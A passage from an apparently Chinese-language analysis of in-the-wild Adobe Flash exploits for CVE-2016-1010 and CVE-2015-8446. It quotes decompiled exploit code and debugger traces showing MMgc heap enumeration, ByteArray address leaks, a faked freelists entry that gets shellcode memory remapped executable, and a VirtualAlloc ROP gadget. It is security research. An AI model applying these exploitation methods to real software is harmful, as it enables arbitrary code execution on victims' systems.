  36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
  38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40];
  kSizeClassIndex32 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 17, 18, 18, 19, 19, 20, 21, 22, 23, 24, 24, 25, 26, 26, 27, 27,
  28, 28, 28, 29, 29, 29, 30, 30, 30, 31, 31, 31, 31, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 35, 35, 35,
  35, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38,
  38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40];
  ...
}
public function GetSizeClassIndex (arg_size:int) : int
{
  if(is64bit)
  {
    return kSizeClassIndex64[arg_size + 7 >> 3];
  }
  return kSizeClassIndex32[arg_size + 7 >> 3];
}

圖33  GetSizeClassIndex函數

可以發現這和AVMPlus開源項目中的FixedMalloc::FindAllocatorForSize函數實現是相似的。

REALLY_INLINE FixedAllocSafe* FixedMalloc::FindAllocatorForSize(size_t size)
{
  ...
  // 'index' is (conceptually) "(size8>>3)" but the following
  // optimization allows us to skip the &~7 that is redundant
  // for non-debug builds.
#ifdef MMGC_64BIT
  unsigned const index = kSizeClassIndex[((size+7)>>3)];
#else
  // The first bucket is 4 on 32-bit systems, so special case that rather
  // than double the size-class-index table.
  unsigned const index = (size <= 4) ? 0 : kSizeClassIndex[((size+7)>>3)];
#endif
  ...
  return &m_allocs[index];
}

圖34  FixedMalloc::FindAllocatorForSize函數

class FixedMalloc
{
  ...
  FixedAllocSafe m_allocs[kNumSizeClasses]; // The array of size-segregated allocators for small objects, set in InitInstance
  ...

圖35  m_allocs數組變量的聲明

下述為AVMplus項目中定義的kSizeClassIndex數組,可以看到它們具有相同的索引值。

#ifdef MMGC_64BIT
/*static*/ const uint8_t FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
  0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
  15, 16, 17, 18, 19, 20, 21, 22, 22, 23, 23, 24, 24, 25, 26, 26,
  27, 27, 28, 28, 28, 29, 29, 30, 30, 30, 30, 31, 31, 31, 32, 32,
  32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34,
  35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36,
  36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37,
  37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
  38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40
};
#else
/*static*/ const uint8_t FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
  0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
  16, 17, 17, 18, 18, 19, 19, 20, 21, 22, 23, 24, 24, 25, 26, 26,
  27, 27, 28, 28, 28, 29, 29, 29, 30, 30, 30, 31, 31, 31, 31, 32,
  32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34,
  35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36,
  36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37,
  37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
  38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40
};
#endif

圖36  AVMplus項目中的kSizeClassIndex定義

ParseFixedAllocHeader

FixedAlloc類的定義中包含有指向FixedBlock鏈表的指針,那些具有相同大小的內存塊會被添加到同一鏈表中。

class FixedAlloc
{
  ...
  private:
   GCHeap *m_heap;           // The heap from which we obtain memory
   uint32_t m_itemsPerBlock; // Number of items that fit in a block
   uint32_t m_itemSize;      // Size of each individual item
   FixedBlock* m_firstBlock; // First block on list of free blocks
   FixedBlock* m_lastBlock;  // Last block on list of free blocks
   FixedBlock* m_firstFree;  // The lowest priority block that has free items
   size_t m_numBlocks;       // Number of blocks owned by this allocator
  ...

圖37  FixedAlloc類的定義

而ParseFixedAllocHeader(cvb45)函數將用于解析FixedAlloc對象,它會通過ReadPointer(ghgfhf12341)函數實現的RW primitive功能來讀取內存中相應位置的數據。

public function ParseFixedAllocHeader(_arg_1:ByteArray, _arg_2:___Int64):Object
{
  var _local_3:* = null;
  if (cbvd43) // true when major version >= 20
  {
    return ({
      "m_heap":jjjj222222lpmc.ReadPointer(_arg_1),
      "m_unknown":_arg_1.readUnsignedInt(),
      "m_itemsPerBlock":_arg_1.readUnsignedInt(),
      "m_itemSize":_arg_1.readUnsignedInt(),
      "m_firstBlock":jjjj222222lpmc.ReadPointer(_arg_1),
      "m_lastBlock":jjjj222222lpmc.ReadPointer(_arg_1),
      "m_firstFree":jjjj222222lpmc.ReadPointer(_arg_1),
      "m_maxAlloc":jjjj222222lpmc.ReadPointer(_arg_1),
      "m_isFixedAllocSafe":_arg_1.readByte(),
      "m_spinlock":jjjj222222lpmc.ReadPointer(_arg_1),
      "fixedAllocAddr":_arg_2
      });
  };
  return ({
    "m_heap":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_unknown":0,
    "m_itemsPerBlock":_arg_1.readUnsignedInt(),
    "m_itemSize":_arg_1.readUnsignedInt(),
    "m_firstBlock":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_lastBlock":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_firstFree":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_maxAlloc":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_isFixedAllocSafe":_arg_1.readByte(),
    "m_spinlock":jjjj222222lpmc.ReadPointer(_arg_1),
    "fixedAllocAddr":_arg_2
    });
}

圖38  ParseFixedAllocHeader函數

來看下面的例子,ParseFixedAllocHeaderBySize(ghfgfh23)函數中給定的堆大小為0x7f0,它將返回解析好的堆塊結構。

Enter: Jdfgdfgd34/instance/ghfgfh23(000007f0, True)
...
Return: Jdfgdfgd34/instance/ghfgfh23 [object Object]
* Return: Jdfgdfgd34/instance/ghfgfh23 [object Object]
 Location: Jdfgdfgd34/instance/ghfgfh23 block id: 0 line no: 0
 Call Stack:
 Jdfgdfgd34/ghfgfh23()
 Jdfgdfgd34/hhh222()
 J34534534/fdgdfg45345345()
 J34534534/jhfjhhg2432324()
 ...
 Type: Return
 Method: Jdfgdfgd34/instance/ghfgfh23
 Return Value:
 Object:
 m_itemSize: 0x7f0 (2032) // current item size
  fixedAllocAddr:
  high: 0x0 (0)
  low: 0x6fb7c36c (1874314092)
 m_firstFree:
  high: 0x0 (0)
  low: 0x0 (0)
 m_lastBlock:
  high: 0x0 (0)
  low: 0xc0d7000 (202207232)
 m_spinlock:
  high: 0x0 (0)
  low: 0x0 (0)
 m_unknown: 0x1 (1)
 m_isFixedAllocSafe: 0x1 (1)
 m_maxAlloc:
  high: 0x0 (0)
  low: 0x1 (1)
 m_itemsPerBlock: 0x2 (2)
 m_heap:
  high: 0x0 (0)
  low: 0x6fb7a530 (1874306352)
 m_firstBlock:
  high: 0x0 (0)
  low: 0xc0d7000 (202207232)

圖39  ParseFixedAllocHeaderBySize(ghfgfh23)函數

返回結果中包含有堆塊的首部結構,其中偏移0xc處的DWORD值正好為要查找的大小0x7f0。

0:000> dds 6fb7c36c <-- fixedAllocAddr
6fb7c36c 6fb7a530 <-- m_heap
6fb7c370 00000001 <-- m_unknown
6fb7c374 00000002 <-- m_itemsPerBlock
6fb7c378 000007f0 <-- m_itemSize
6fb7c37c 0c0d7000 <-- m_firstBlock
6fb7c380 0c0d7000 <-- m_lastBlock
6fb7c384 00000000 <-- m_firstFree
6fb7c388 00000001 <-- m_maxAlloc
6fb7c38c 00000001 

圖40  返回的FixedAlloc結構

ParseFixedBlock

在EnumerateFixedBlocks(hhh222)函數中會調用ParseFixedBlock(vcb4)來遍歷FixedBlock鏈表。

public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true, param4:___Int64 = undefined) : Array
{
  var fixedBlockAddr:* = null as ___Int64;
  var _loc8_:* = null as ___Int64;
  var _loc9_:* = 0;
  var _loc10_:* = null as ByteArray;
  var fixedBlockInfo:* = null;
  var _loc5_:Array = [];
  var _loc6_:* = ParseFixedAllocHeaderBySize(param1,param2);
  if(param3)
  {
    fixedBlockAddr = _loc6_.m_firstBlock;
  }
  else
  {
    fixedBlockAddr = _loc6_.m_lastBlock;
  }
  while(!(jjjj222222lpmc.IsZero(fixedBlockAddr)))
  {
    ...
    _loc10_ = gg2rw.readn(fixedBlockAddr,Jdfgdf435GwgVfg.Hfghgfh3); // read by chunk. _loc10_: ByteArray
    fixedBlockInfo = ParseFixedBlock(_loc10_, fixedBlockAddr); // fixedBlockAddr: size
    _loc5_.push(fixedBlockInfo);
    if(param3)
    {
      fixedBlockAddr = fixedBlockInfo.next;
    }
    else
    {
      fixedBlockAddr = fixedBlockInfo.prev;
    }
  }
  return _loc5_;

圖41  借助ParseFixedBlock函數來遍歷FixedBlock鏈表

其中,結構體FixedBlock的定義如下。

struct FixedBlock
{
  void* firstFree;      // First object on the block's free list
  void* nextItem;       // First object free at the end of the block
  FixedBlock* next;     // Next block on the list of blocks (m_firstBlock list in the allocator)
  FixedBlock* prev;     // Previous block on the list of blocks
  uint16_t numAlloc;    // Number of items allocated from the block
  uint16_t size;        // Size of objects in the block
  FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
  FixedBlock *prevFree; // Previous block on the list of blocks with free items
  FixedAlloc *alloc;    // The allocator that owns this block
  char items[1];        // Memory for objects starts here
};

圖42  FixedBlock結構的定義

ParseFixedBlock(vcb4)函數將基于上述定義對FixedBlock進行解析。

public function ParseFixedBlock (param1:ByteArray, param2:___Int64) : Object
{
  var _loc3_:* = {
    "firstFree":jjjj222222lpmc.ReadPointer(param1),
    "nextItem":jjjj222222lpmc.ReadPointer(param1),
    "next":jjjj222222lpmc.ReadPointer(param1),
    "prev":jjjj222222lpmc.ReadPointer(param1),
    "numAlloc":param1.readUnsignedShort(),
    "size":param1.readUnsignedShort(),
    "prevFree":jjjj222222lpmc.ReadPointer(param1),
    "nextFree":jjjj222222lpmc.ReadPointer(param1),
    "alloc":jjjj222222lpmc.ReadPointer(param1),
    "blockData":param1,
    "blockAddr":param2
  };
  return _loc3_;
}

圖43  ParseFixedBlock函數

4.2 泄漏ByteArray對象的地址

在CVE-2016-1010的利用樣本中還用到了ByteArray對象的地址泄露技術。

GetByteArrayAddress

GetByteArrayAddress(hgfh342)函數會將獲取到的第一個參數作為期望對象的大小,并枚舉MMgc內存空間中具有此大小的對象,最終會返回所有找到的內存塊相應的解析結果。

這里GetByteArrayAddress(hgfh342)函數返回的是pairs類型([ByteArray::Buffer,ByteArray::Buffer.array])的數組,其中,exploit可以在ByteArray::Buffer.array地址上放置想要的數據。 此外,GetByteArrayAddress(hgfh342)函數需要調用EnumerateFixedBlocks(hhh222)來定位ByteArray對象的堆地址,所給的期望對象大小為40或24,這取決于具體運行的Flash版本。

public function J34534534(_arg_1:*, _arg_2:Object, _arg_3:Jdfgdfgd34):void
{
  ...
  hgfh4343 = 24;
  if ((((nnfgfg3.nfgh23[0] >= 20)) || ((((nnfgfg3.nfgh23[0] == 18)) && ((nnfgfg3.nfgh23[3] >= 324)))))) // Flash version check
  {
    ...
    hgfh4343 = 40;
  };
  ...
}
public function GetByteArrayAddress (param1:ByteArray, param2:Boolean = false, param3:int = 0) : Array
{
  ...
  var _loc9_:Array = jhghjhj234544. EnumerateFixedBlocks (hgfh4343,true); // hgfh4343 is 40 or 24 depending on the Flash version – this is supposed to be the ByteArray object size
}

圖44  在GetByteArrayAddress函數中進行EnumerateFixedBlocks調用

正如上面所說,GetByteArrayAddress(hgfh342)函數通過EnumerateFixedBlocks(hhh222)調用來獲取具有特定大小的堆塊,即ByteArray對象,之后會在這些對象中查找特殊的標記值。

public function GetByteArrayAddress(_arg_1:ByteArray, _arg_2:Boolean=false, marker:int=0):Array
{
  ...
  var fixedBlockArr:Array = jhghjhj234544. EnumerateFixedBlocks(hgfh4343, true);
  var _local_10:int;
  var fixedBlockArrLength:int = fixedBlockArr.length;
  while (_local_10 < fixedBlockArrLength)
  {
    i = _local_10++;
    _local_13 = ((Jdfgdf435GwgVfg.Hfghgfh3 - gfhgfhg44444.cvhcvb345) / hgfh4343);
    _local_14 = gfhgfhg44444.cvhcvb345;
    _local_15 = fixedBlockArr[i].blockData;
    while (_local_13 > 0)
    {
      _local_15.position = _local_14;
      if (bgfh4)
      {
        _local_15.position = (_local_14 + bbfgh4);
        _local_16 = _local_15.readUnsignedInt();
        _local_15.position = (_local_14 + bgfhgfh34);
        _local_17 = _local_15.readUnsignedInt();
        if ((_local_16 == _local_5))
        {
          _local_15.position = (_local_14 + bbgfgfh4);
          _local_7 = gggexss.AddInt64(fixedBlockArr[i].blockAddr, _local_14);
          _local_6 = jhghjhj234544.jjjj222222lpmc.ReadPointerSizeData(_local_15, false);
          if (((marker!= (0)) && (((!((_local_6.high == _local_8.high))) || (!((_local_6.low == _local_8.low)))))))
          {
            if (hhiwr.read4(_local_6) == marker) // Compare marker
            {
              return ([_local_7, _local_6]);
            };
          }
          else
          {
            _local_18 = new ___Int64(0, 0);
            _local_8 = _local_18;
            if (((!((_local_6.high == _local_8.high))) || (!((_local_6.low == _local_8.low)))))
            {
              return ([_local_7, _local_6]);
            };
          };
        };
      }
      ...
      _local_14 = (_local_14 + hgfh4343);
      _local_13--;
    };

圖45  在GetByteArrayAddress(hgfh342)函數中對標記值進行啟發式搜索

public function AllocateByteArrays():Boolean
{
  ...
  var randomInt:int = Math.ceil(((Math.random() * 0xFFFFFF) + 1));
  ...
  g4 = GetByteArrayAddress(freelists_bytearray, false, randomInt)[1]; // MMgc structure address
  hg45 = GetByteArrayAddress(shellcode_bytearray, false, randomInt)[1]; // Shellcode BytreArray
  ...
}

圖46  randomInt是一個隨機生成的標記值

4.3 獲取GCBlock的結構

此外,在發現的CVE-2015-8446利用樣本中則借助內存的可預測性來訪問Flash Player的內部結構。此例中,在完成堆噴操作后,GCBlock對象會被分配到地址0x1a000000上,而地址0x1a000008中的內容正是exploit要尋找的GC對象基址。

ReadInt 1a000004 000007b0 <-- GCBlock.size
ReadInt 1a000008 0c3ff000 <-- GCBlock.gc

圖47  堆噴后讀取固定地址處的數據

下述為GCBlockHeader結構體的定義。

/**
* Common block header for GCAlloc and GCLargeAlloc.
*/
struct GCBlockHeader
{
  uint8_t bibopTag;         // *MUST* be the first byte. 0 means "not a bibop block." For others, see core/atom.h.
  uint8_t bitsShift;        // Right shift for lower 12 bits of a pointer into the block to obtain the mark bit item for that pointer
  // bitsShift is only used if MMGC_FASTBITS is defined but its always present to simplify header layout.
  uint8_t containsPointers; // nonzero if the block contains pointer-containing objects
  uint8_t rcobject;         // nonzero if the block contains RCObject instances
  uint32_t size;            // Size of objects stored in this block
  GC* gc;                   // The GC that owns this block
  GCAllocBase* alloc;       // the allocator that owns this block
  GCBlockHeader* next;      // The next block in the list of blocks for the allocator
  gcbits_t* bits;           // Variable length table of mark bit entries
};

圖48  GCBlockHeader結構體

其中,0x1a000008處的值是在獲取GC結構體指針后通過GCAlloc::CreateChunk方法寫入的,此GC結構隨后會用于實現JIT內部數據的corruption,而作為邁出代碼執行的第一步,ROP鏈在最開始會選擇調用VirtualAlloc函數。

447d8020 00000000
Evaluate expression: 1854116879 = 6e83940f
  0:035> u 6e83940f
  6e83940f ff152874ca6e call dword ptr [Flash!_imp__VirtualAlloc (6eca7428)]
  6e839415 5d pop ebp
  6e839416 c3 ret

圖49  exploit中用到的ROP Gadget

5 JIT運行時攻擊

另一方面,由于CFG保護的存在,攻擊者們也逐漸移步到Flash的JIT(just-in-time)運行時,相關攻擊理念早前已由Francisco Falcon提出過了,而以JIT方式執行CFG代碼則可緩解此類利用。在實際獲取的CVE-2016-1010和CVE-2015-8446利用樣本中我們還觀察到了更巧妙的攻擊手法,其中一個方法通過已知的CFG保護缺陷來破壞棧上的返回地址,相關細節我們將在未來進行討論。在這里,我們分享一些關于freelists結構濫用以及MethodInfo._implGPR函數指針corruption的具體細節。

5.1 操控Freelists結構

在CVE-2016-1010的利用樣本中,shellcode所保存的位置非常有意思,其中就涉及到了如何操控freelists結構。下面開始分析,可以看到,StartExploit(hgfghfgj2)函數首先調用了AllocateByteArrays(jhgjhj22222)方法,而后會通過名為shellcode_bytearray的ByteArray對象將shellcode寫入堆空間。

public function StartExploit(_arg_1:ByteArray, _arg_2:int):Boolean
{
  var _local_4:int;
  var _local_11:int;
  if (!(AllocateByteArrays ()))
  {
    return (false);
  };
  ...
  _local_8 = _local_12;
  shellcode_bytearray.position = (_local_8.low + 0x1800); // a little bit inside the heap region, to be safe not to be cleared up
  shellcode_bytearray.writeBytes(_arg_1); // Writing shellcode to target ByteArray.

圖50  分配ByteArray對象并寫入shellcode

此exploit通過GetByteArrayAddress(hgfh342)方法獲取用于存放freelists元素的內存地址,下述給出的結果中該地址為0x16893000。

- Call Return: int.hgfh342 Array
 Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 64
 Method Name: hgfh342
 Return Object ID: 0x210 (528)
 Object Type: int
 Return Value:
  Object:
   high: 0x0 (0)
   low: 0xc122db8 (202517944)
   high: 0x0 (0)
   low: 0x16893000 (378089472) <- memory for fake freelists structure
  Object Type: Array
  Log Level: 0x3 (3)
  Name:
 Object Name:
 Object ID: 0x1d1 (465)

圖51  調用GetByteArrayAddress(hgfh342)獲取ByteArray對象的內存地址

這里注意一點,和正常情況相同,AllocateByteArrays(jhgjhj22222)方法分配的ByteArray對象所在內存的頁面屬性也為可讀寫,相應的兩塊堆空間將分別用于保存用到的freelists元素以及shellcode代碼,為了方便,將這兩個ByteArray對象命名為shellcode_bytearray和freelists_bytearray。

public function AllocateByteArrays():Boolean
{
  ...
  var randomInt:int = Math.ceil(((Math.random() * 0xFFFFFF) + 1));
  // Create shellcode ByteArray
  shellcode_bytearray = new ByteArray();
  shellcode_bytearray.endian = Endian.LITTLE_ENDIAN;
  shellcode_bytearray.writeUnsignedInt(_local_1);
  shellcode_bytearray.length = 0x20313;

  // Create freelists ByteArray
  freelists_bytearray = new ByteArray();
  freelists_bytearray.endian = Endian.LITTLE_ENDIAN;
  freelists_bytearray.writeUnsignedInt(_local_1);
  freelists_bytearray.length = 0x1322;

  g4 = GetByteArrayAddress(freelists_bytearray, false, randomInt)[1]; // Freelists ByteArray
  hg45 = GetByteArrayAddress(shellcode_bytearray, false, randomInt)[1]; // Shellcode ByteArray
  _local_2 = hg45;
  _local_4 = new ___Int64(0, 0);
  _local_3 = _local_4;
  return (((((!((_local_2.high == _local_3.high))) || (!((_local_2.low == _local_3.low))))) && (((!((_local_2.high == _local_3.high))) ||
    (!((_local_2.low == _local_3.low)))))));
}

圖52  分配ByteArray對象并獲取相應的內存地址

在GCHeap類中有一個聲明為freelists的變量,它是HeapBlock類型的數組,此數組包含那些已經釋放掉的或保留的內存塊來供程序后面的分配調度。

class GCHeap
{
  ...
  Region *freeRegion;
  Region *nextRegion;
  HeapBlock *blocks;
  size_t blocksLen;
  size_t numDecommitted;
  size_t numRegionBlocks;
  HeapBlock freelists[kNumFreeLists];
  size_t numAlloc;

圖53  GCHeap類的定義

exploit會將0x16893000處偽造的freelists元素鏈接到該數組中。

Enter: A1/instance/read4(00000000`6fb7bbb4)
Return: A1/instance/read4 6fb7bba4
Enter: A1/instance/write4(00000000`6fb7bbb0, 16893000)
Return: A1/instance/write4 null
Enter: A1/instance/write4(00000000`6fb7bbb4, 16893000)
Return: A1/instance/write4 null

圖54  將偽造的freelists元素鏈接到freelists數組中

此操作將通過修改HeapBlock結構體中的前驅及后繼指針來實現。

// Block struct used for free lists and memory traversal
class HeapBlock
{
 public:
  char *baseAddr; // base address of block's memory
  size_t size; // size of this block
  size_t sizePrevious; // size of previous block
  HeapBlock *prev; // prev entry on free list <- Corruption target
  HeapBlock *next; // next entry on free list <- Corruption target
  bool committed; // is block fully committed?
  bool dirty; // needs zero'ing, only valid if committed

圖55  HeapBlock結構體的定義

0x6fb7bba4指向的內容為freelists中的元素,它是HeapBlock類型的結構體,可以通過dump內存來查看exploit是如何對其進行corrupt的。

0:000> dds 6fb7bba4 <- HeapBlock structure
6fb7bba4 00000000
6fb7bba8 00000000
6fb7bbac 00000000
6fb7bbb0 6fb7bba4 HeapBlock.prev <- Corrupted to 16893000
6fb7bbb4 6fb7bba4 HeapBlock.next <- Corrupted to 16893000
6fb7bbb8 00000101
6fb7bbbc 00000000
6fb7bbc0 00000000
6fb7bbc4 00000000

圖56  freelists數組原先在0x6fb7bbb0處的內容

另外,shellcode代碼會被寫入0x16dc3000處相應的ByteArray對象中,此地址同樣可以通過GetByteArrayAddress(hgfh342)函數來獲取。

-Call Return: int.hgfh342 Array
 Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 76
 Method Name: hgfh342
 Return Object ID: 0x248 (584)
 Object Type: int
 Return Value:
  Object:
   high: 0x0 (0)
   low: 0xc122d40 (202517824)
   high: 0x0 (0)
   low: 0x16dc3000 (383528960) <- base address of shellocode ByteArray
  Object Type: Array
  Log Level: 0x3 (3)
  Name:
 Object Name:
 Object ID: 0x1d1 (465)

圖57  獲取保存shellcode的ByteArray對象地址

exploit將在0x16893000處寫入該shellcode對應的內存地址值。

0:000> dds 16893000
16893000 16dc3000 <- pointer to shellcode memory
16893004 00000010
16893008 00000000
1689300c 00000000
16893010 00000000
16893014 00000001
16893018 41414141
1689301c 41414141
16893020 41414141
16893024 41414141

圖58  0x16893000處放置的是偽造的freelists元素

0:000> dds 16dc3000 <- shellcode ByteArray buffer, JIT operation target
16dc3000 00000000
16dc3004 00000000
16dc3008 16dd2fec
16dc300c 00000001
16dc3010 16dd2e6c
16dc3014 00000000
16dc3018 00000000
16dc301c 00000000

圖59  0x16dc3000處放置的是shellcode

接著前面提到的0x6fb7bbb0處的HeapBlock.prev和0x6fb7bbb4處的HeapBlock.next這兩個值會被重寫為0x16893000,即偽造的freelists元素所在地址,而該元素的基址又指向了0x16dc3000處的shellcode。

Enter: A1/instance/read4(00000000`6fb7bbb4)
Return: A1/instance/read4 6fb7bba4
Enter: A1/instance/write4(00000000`6fb7bbb0, 16893000) 
Return: A1/instance/write4 null
Enter: A1/instance/write4(00000000`6fb7bbb4, 16893000)
Return: A1/instance/write4 null

圖60  重寫HeapBlock.prev和HeapBlock.next的值

小結下,0x16893000地址處放置的是偽造的HeapBlock結構,而0x16dc3000地址處將會保存寫入的shellcode代碼。這兩個堆塊的頁屬性都為可讀寫,下面給出的是shellcode所在內存的頁面信息。

0:007> !address 16dc3000
Usage: <unknown>
Base Address: 16cf9000
End Address: 17176000
Region Size: 00200000 ( 2.000 MB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE <- Protection mode is RW
Type: 00020000 MEM_PRIVATE
Allocation Base: 16cf9000
Allocation Protect: 00000001 PAGE_NOACCESS
Content source: 1 (target), length: 1000

圖61  地址0x16dc3000處的頁面屬性

從下述調試過程可以看出exploit把shellcode地址賦值給了偽造的HeapBlock結構中的基址變量。

Breakpoint 1 hit
eax=16dc3000 ebx=0d5f20d0 ecx=16893000 edx=0b551288 esi=150947c0 edi=0d552020
eip=6d462537 esp=0b551244 ebp=0b551244 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
...
6d462535 8901 mov dword ptr [ecx],eax <- ecx: freelists address, eax: shellcode address

圖62  freelists[0]將會指向shellcode所在的內存

而這個偽造的freelists元素所指向的內存區域,即shellcode所在的內存,會在GCHeap::AllocBlock調用中被重新聲明并作為JIT空間賦予可讀可執行的權限。

0:026> g
Breakpoint 1 hit
eax=16dc3000 ebx=16893000 ecx=00000000 edx=00000000 esi=00000010 edi=00000001
eip=6d591cc2 esp=0b550ed8 ebp=0b550efc iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200297
Flash!MMgc::alignmentSlop+0x2 [inlined in Flash!MMgc::GCHeap::Partition::AllocBlock+0x72]:
6d591cc2 8bd7 mov edx,edi
...
0:026> u eip -6
...
6d591cc0 8b03 mov eax,dword ptr [ebx] <- retrieving heap block from free list
0:026> r ebx
ebx=16893000

6d591cc2 8bd7 mov edx,edi
6d591cc4 c1e80c shr eax,0Ch
6d591cc7 23c1 and eax,ecx
6d591cc9 2bd0 sub edx,eax
6d591ccb 23d1 and edx,ecx

圖63  獲取freelists[0]的基址

相關的代碼如下。

GCHeap::HeapBlock* GCHeap::AllocBlock(size_t size, bool& zero, size_t alignment)
{
  uint32_t startList = GetFreeListIndex(size);
  HeapBlock *freelist = &freelists[startList]; // retrieving heap block from free list
  HeapBlock *decommittedSuitableBlock = NULL;
  ...

圖64  GCHeap::AllocBlock函數

經過GetFreeListIndex函數中的一些計算后,此分配函數會從freelists數組中選取相應的堆塊,并最終返回包含shellcode代碼的頁面。

此外,下述的doInitDelay方法實際上是Flash Player中的事件回調函數,當偽造的freelists結構被用到時,就會觸發其中的JIT代碼。

public dynamic class Boot extends MovieClip
{
  ...
  public function doInitDelay(_arg_1:*):void
  {
    Lib.current.removeEventListener(Event.ADDED_TO_STAGE, doInitDelay);
    start();
  }

  public function start():void
  {
    ...
    if (_local_2.stage == null)
    {
      _local_2.addEventListener(Event.ADDED_TO_STAGE, doInitDelay);
      ...
    };
  }

圖65  周期性調用的doInitDelay方法

當上述方法被調用時,原先使用的某塊內存會被置成保留狀態,對新分配的內存程序會調用VirtualProtect函數將其頁面屬性設為RX。在此情況下,偽造的freelists元素所指向的內存區域最終會被用到。

0:006> !address 16dc3000
Usage: <unknown>
Base Address: 16dc3000
End Address: 17050000
Region Size: 00010000 ( 64.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 00020000 MEM_PRIVATE
Allocation Base: 16cf9000
Allocation Protect: 00000001 PAGE_NOACCESS

Content source: 1 (target), length: 1000

